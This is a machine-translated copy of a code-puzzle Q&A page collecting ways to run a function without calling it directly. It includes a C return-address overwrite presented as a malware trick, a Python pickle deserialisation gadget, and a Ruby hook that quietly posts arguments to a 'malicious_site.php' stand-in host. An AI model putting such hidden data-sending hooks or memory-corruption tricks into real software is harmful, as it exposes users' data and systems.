Gọi một phương thức mà không gọi nó [đóng]


77

Lấy cảm hứng từ một câu hỏi StackOverflow đã bị xóa . Bạn có thể đưa ra một cách để thực hiện một phương thức cụ thể mà không gọi nó một cách rõ ràng không? Càng gián tiếp thì càng tốt.

Ý tôi là chính xác (C được sử dụng chỉ để làm gương, tất cả các ngôn ngữ được chấp nhận):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Câu hỏi gốc: nhập mô tả hình ảnh ở đây


58
+10471 ... tốt đẹp
qwr

29
Tôi tự hỏi bao nhiêu rep bạn cần để tràn stack stack?
PyRulez

34
Rõ ràng đây là một đoạn ghi hình từ tài khoản của @Mysticial , nhìn thấy hình đại diện. Bí ẩn, bạn có thể vui lòng chỉ cần nhấp vào tab đại diện của bạn?!?!?!
Doorknob

4
@Doorknob Tại sao anh? Tất cả đến từ một câu trả lời.
FDinoff

8
@PyRulez Jon Skeet chưa có, vì vậy chúng tôi an toàn cho đến bây giờ .
Cole Johnson

Câu trả lời:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Khi được biên dịch bằng GCC, trình biên dịch sẽ thay thế printf("Goodbye!\n")bằng puts("Goodbye!"), đơn giản hơn và được coi là tương đương. Tôi đã lén lút cung cấp putschức năng tùy chỉnh của mình , để thay vào đó được gọi.


1
@ user17752 Đây thực sự là một phép biến đổi mà GCC thực hiện ngay cả ở -O0. (GCC 4.8, dù sao. Có lẽ các phiên bản khác cần một số tùy chọn khác.)
hvd

1
xin lỗi, lỗi của tôi, quên rằng tôi đã sử dụng tiếng kêu trên macbook của tôi.
DarkHeart

@ user17752 Cảm ơn, tôi đã thử nghiệm với các trình biên dịch khác, rất vui khi biết rằng ít nhất clang có một tùy chọn để có được sự chuyển đổi tương tự.
hvd

Chúc mừng! Một người chiến thắng là bạn!

84

Chà, làm thế nào phần mềm độc hại có thể thực thi các chức năng không được gọi trong mã? Bằng cách tràn bộ đệm!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Trên hệ thống của tôi, địa chỉ trả về maintình cờ được lưu trữ 3 từ trên biến cục bộ đầu tiên. Bằng cách xáo trộn địa chỉ đó với địa chỉ của hàm khác, main"trả về" cho hàm đó. Nếu bạn muốn tái tạo hành vi này trên một hệ thống khác, bạn có thể phải điều chỉnh 3 thành giá trị khác.


Đánh bại tôi với nó (+1) - đây là giải pháp C rõ ràng.
Comitern

20
Sử dụng <!-- language: lang-c -->hai dòng trước mã của bạn để làm nổi bật nó.
Victor Stafusa

9
Tất cả mưa đá @Victor, anh hùng đánh dấu cú pháp!
Jason C

@Victor này là tài liệu chính thức? Nếu có, ở đâu?
Thorbjørn Ravn Andersen



56

Con trăn 2

>>> def func(*args):
        print('somebody called me?')

Dưới đây là một số cách lấy cảm hứng từ các câu trả lời khác:

  1. thực thi mã trực tiếp

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Đây là cách tốt nhất để thực sự không gọi hàm.

  2. sử dụng hàm hủy

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Sử dụng I / O tiêu chuẩn

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. sử dụng tra cứu thuộc tính

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Cơ chế nhập khẩu

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Chà tôi đoán đó là tất cả .. Tôi không thể nhập bất cứ thứ gì bây giờ. Không chờ đợi..

  6. Sử dụng dấu ngoặc đơn []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Sử dụng các biến toàn cầu. Yêu thích của tôi!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hellolà một quyền truy cập vào d['hello']. Sau này thế giới dường như xám xịt.

  8. Các lớp meta;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Sử dụng các trình vòng lặp (bạn có thể quá tải bất kỳ toán tử nào và sử dụng nó)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Lỗi!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Khung gọi lại cho bạn. Hầu như mọi GUI đều có chức năng này.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Thực thi chuỗi nguồn (func phải có trong một tệp)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Trang trí

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. với khử tuần tự dưa chua (ít yêu thích nhất sắp tới)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Sử dụng tuần tự hóa

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Thêm câu trả lời Python:


1
Bộ sưu tập đẹp, nhưng bạn quên về chủ đề . ;)
nyuszika7h

Câu trả lời này là vô lý. +1
asteri

Đây là python 3
Braden Best

1
Nhiều ví dụ trong số đó cũng hoạt động với Python 3. Lớp meta và tăng ngoại lệ được hiển thị không hoạt động trong Python 3.
Người dùng

22

Javascript

Cái này sử dụng JSFuck để thực hiện công việc bẩn thỉu.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Tôi nghĩ rằng điều này đủ điều kiện như là một cuộc gọi chức năng rõ ràng. Chỉ là một thứ rất khó hiểu.
Primo

3
@primo, nó sẽ xây dựng một chuỗi javascript để thực thi và có được đối tượng Function để gọi nó với. Nhưng để làm điều đó, nó sử dụng chuyển đổi ngầm giữa các loại; ví dụ: ""một chuỗi và []ước lượng thành 0, do đó ""[[]]không được xác định và ""[[]]+""là "không xác định". Từ đó bạn có thể rút ra từng chữ cái: (""[[]]+"")[[]]là "u". Vì vậy, nó giống như một hack để gọi exec với mã tùy ý. Tôi nghĩ rằng tính?
Phil H

1
@PhilH Tôi hiểu nó hoạt động như thế nào. Xóa hai dấu ngoặc đơn cuối cùng : function anonymous() { x() }.
Primo

22

Con trăn

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Điều này đặt the_functionlàm chức năng định hình, làm cho nó được thực thi trên mỗi lệnh gọi và trả về của hàm.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Đây có phải là Python không?
Hosch250

@ user2509848 Vâng, tôi quên đề cập đến điều đó.
grc

Một câu trả lời không C! Tôi muốn xem thêm: D

@Johnsyweb Vui lòng xem meta.codegolf.stackexchange.com/q/1109/9498 . Không cần chỉnh sửa mỗi bài đăng để bao gồm tô sáng cú pháp, đặc biệt nếu nó hầu như không ảnh hưởng đến giao diện của mã (ví dụ: mã ngắn).
Justin

@Quincunx: Được công nhận
Johnsyweb

18

C #

Chúng ta có thể lạm dụng DLR để luôn thực thi một số mã bất cứ khi nào bạn cố gắng gọi bất kỳ phương thức nào trên một lớp. Điều này hơi rẻ / rõ ràng hơn so với các giải pháp như đại biểu, phản xạ, hàm tạo tĩnh, v.v., bởi vì phương thức được thực thi không chỉ không bao giờ được gọi mà còn không bao giờ được tham chiếu , thậm chí không có tên của nó.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Điều này luôn luôn in "Ha! Lừa bạn!" không có vấn đề bạn cố gắng gọi về a. Vì vậy, tôi có thể dễ dàng viết a.SuperCaliFragilisticExpiAlidocious()và nó sẽ làm điều tương tự.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Điều này rất trực tiếp, nhưng chắc chắn không phải là một cuộc gọi đến hello_world, mặc dù chức năng thực thi.


16

Hồng ngọc

Lấy cảm hứng từ wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

Bạn có thể đăng ký một chức năng được gọi vào cuối chương trình trong C, nếu điều đó phù hợp với nhu cầu của bạn:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Đã thử điều này với java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Phương thức secretMethodNotCalledInMainnày chỉ được gọi bằng phản xạ và tôi không tìm kiếm bất cứ thứ gì được gọi secretMethodNotCalledInMain(thay vào đó tôi đang tìm kiếm bất cứ thứ gì không được gọi main). Hơn nữa, phần phản chiếu của mã được gọi bên ngoài mainphương thức khi trình xử lý ngoại lệ chưa được xử lý của JDK khởi động.

Đây là thông tin JVM của tôi:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Đây là đầu ra của chương trình của tôi:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Tôi không mong đợi những cái đó NullPointerExceptionđược ném từ mã gốc để xử lý sự phản chiếu. Nhưng, như được đề cập bởi @ johnchen902, đó là bởi vì nó thừa hưởng một số phương thức từ đó java.lang.Objectvà cuối cùng tôi đã gọi chúng trên nulls.


Đó NPEkhông phải là lỗi JDK. Chúng bị ném vì bạn đã cố gắng gọi các phương thức cá thể được khai báo java.lang.Objectnhư toString()với null.
johnchen902

@ johnchen902 Ồ, tất nhiên rồi. Cảm ơn bạn. Tôi đã chỉnh sửa nó.
Victor Stafusa

14

C ++

Một cách trong C ++ là trong hàm tạo và / hoặc hàm hủy của đối tượng tĩnh:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Tôi cũng đã nghĩ đến việc quá tải mới và xóa , nhưng tôi nghĩ ba câu trả lời là đủ :)
fredoverflow

Các hàm tạo / hàm hủy có được coi là "phương thức" trong C ++ không? Trong .NET và Java, chúng thực sự là một loại thành viên khác nhau. Bạn không thể gọi trực tiếp một ctor tĩnh, ngay cả khi bạn muốn ...
Aaronaught

@Aaronaught: Không có gì được coi là "phương pháp" trong C ++ (ít nhất là bởi bất kỳ ai biết họ đang nói về điều gì). Con constructor và hàm hủy là các hàm thành viên. Chúng là các hàm thành viên "đặc biệt" (ví dụ: các hàm tạo không có tên, vì vậy bạn không thể gọi chúng trực tiếp).
Jerry Coffin

Vâng, tôi chỉ sử dụng thuật ngữ đó vì OP đã làm. Tôi biết rằng C / C ++ và hầu hết mọi ngôn ngữ không phải Java / .NET khác đều có chức năng chứ không phải phương thức. Nhưng điểm nổi bật là chúng không thể được gọi trực tiếp. Bạn có thể lập luận rằng một hàm tạo cá thể về mặt kỹ thuật đang được gọi trực tiếp new, và vì vậy nó sẽ là một câu trả lời thú vị để có một cách để gọi một hàm mà không cần new . Nhưng tôi không biết, các nhà xây dựng tĩnh cảm thấy như một chút gian lận.
Aaronaught

@Aaronaught Nếu bạn muốn gọi một nhà xây dựng trên một phần bộ nhớ đã được phân bổ, bạn có thể viết new (p) foo(). Và bạn có thể phá hủy một đối tượng mà không giải phóng bộ nhớ thông qua p->~foo().
fredoverflow

12

C: Xin chào thế giới

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Đầu ra:

Hello World!

Để liên kết phương thức, chúng ta cần printf () được biên dịch ở đâu đó trong chương trình, nhưng nó không thực sự phải được gọi. Các hàm printf () và main () được đặt cách nhau 276 byte trong đoạn mã. Giá trị này sẽ thay đổi dựa trên hệ điều hành và trình biên dịch. Bạn có thể tìm thấy các địa chỉ thực tế trên hệ thống của mình bằng mã này và sau đó chỉ cần trừ chúng:

printf("%d %d\n", &printf, &main);

4
Các *trước khi mainthực sự bối rối và không cần thiết. mainlà một hàm mà bạn không thể hủy đăng ký, do đó, nó hoàn toàn phân rã thành một con trỏ hàm sau đó được hủy đăng ký để tạo lại hàm. Bạn không thể trừ một int từ một hàm, vì vậy nó sẽ phân rã thành một con trỏ hàm một lần nữa. Bạn cũng có thể viết (*****main-276);) Bạn có thể có nghĩa là để viết (&main-276)hoặc (*(main-276))thay vào đó.
fredoverflow

6
The * before main is really confusing and unnecessary.- Đó không phải là một điều tốt trên trang web này?
James Webster

Tôi đã bị ấn tượng bởi tiêu chuẩn nói rằng một chương trình được hình thành tốt sẽ không được sử dụng main, nhưng không thể tìm thấy nó ngay bây giờ ...
Damon

3
bạn gọi nó một cách rõ ràng bằng cách tham khảo bị xáo trộn
Nowayz

9

C (với mã asm nội tuyến GCC)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Điều này sẽ khiến một số mã được phát ra GCC kết thúc ở một phân đoạn khác của tệp đối tượng, khiến cho luồng điều khiển có hiệu quả rơi vào thông qua hàm the_feft. Lưu ý rằng điều này không hoạt động nếu GCC quyết định sắp xếp lại các chức năng, rõ ràng. Đã thử nghiệm với GCC 3.4.6 trên MirBSD-current / i386, bằng cách sử dụng -O2. (Ngoài ra, nó phá vỡ gỡ lỗi, biên dịch với các -glỗi ☺)


8

PHP ≥5.4.0

Giải pháp này được thừa nhận là một mớ hỗn độn khủng khiếp, nhưng nó thực hiện nhiệm vụ được giao cho nó (không có quy định nào nó phải thực hiện tốt như thế nào ).

Chức năng gọi mà không gọi :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Giải pháp :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Ví dụ :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Đầu ra có thể:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Giải thích :

Khi được gọi, executeFunction()sẽ đọc nội dung của tệp hiện đang thực thi (có nghĩa là điều này chỉ có nghĩa là được chạy từ CLI, khi nó sử dụng $argv), phân tích các đối số và phần thân của hàm được chỉ định, hack mọi thứ lại với nhau thành một đoạn mới của mã, eval()tất cả, và trả về kết quả. Kết quả getRandomString()là không bao giờ thực sự được gọi, trực tiếp hoặc gián tiếp, nhưng mã trong thân hàm vẫn được thực thi.


Chà, có phải việc tạo __construct()phương thức đếm trong PHP vì bạn không bao giờ gọi hàm trực tiếp mà new Something()thay vào đó sử dụng ?
Damir Kasipovic

